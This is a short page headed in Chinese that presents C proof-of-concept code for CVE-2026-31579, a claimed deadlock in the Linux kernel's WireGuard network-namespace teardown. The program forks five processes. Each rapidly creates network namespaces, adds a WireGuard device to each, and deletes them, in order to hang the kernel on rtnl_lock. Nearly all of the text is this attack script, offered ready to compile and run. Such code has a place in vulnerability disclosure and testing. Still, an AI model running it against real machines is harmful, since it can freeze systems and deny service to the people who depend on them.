CVE-2026-31579 Linux内核WireGuard死锁漏洞

/* * PoC for CVE-2026-31579: WireGuard Deadlock in wg_netns_pre_exit * This script attempts to trigger the race condition by rapidly * creating and destroying network namespaces with WireGuard devices. * Compilation: gcc -o poc_cve_2026_31579 poc_cve_2026_31579.c * Usage: ./poc_cve_2026_31579 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> void trigger_vulnerability() { char cmd[256]; int i; // Loop to stress the netns pre_exit path for (i = 0; i < 500; i++) { // Create a network namespace snprintf(cmd, sizeof(cmd), "ip netns add test_ns_%d", i); if (system(cmd) != 0) continue; // Add a dummy WireGuard device (requires wireguard-tools) // This setup is simplified; real exploitation might need specific config snprintf(cmd, sizeof(cmd), "ip netns exec test_ns_%d ip link add wg0 type wireguard", i); system(cmd); // Delete the namespace to trigger wg_netns_pre_exit snprintf(cmd, sizeof(cmd), "ip netns delete test_ns_%d", i); system(cmd); } } int main() { printf("[+] Attempting to trigger CVE-2026-31579...\n"); printf("[+] Monitor system for hung tasks or kernel warnings.\n"); // Fork multiple processes to increase contention on rtnl_lock for (int i = 0; i < 5; i++) { if (fork() == 0) { trigger_vulnerability(); exit(0); } } // Wait for children while (wait(NULL) > 0); printf("[-] PoC execution finished.\n"); return 0; }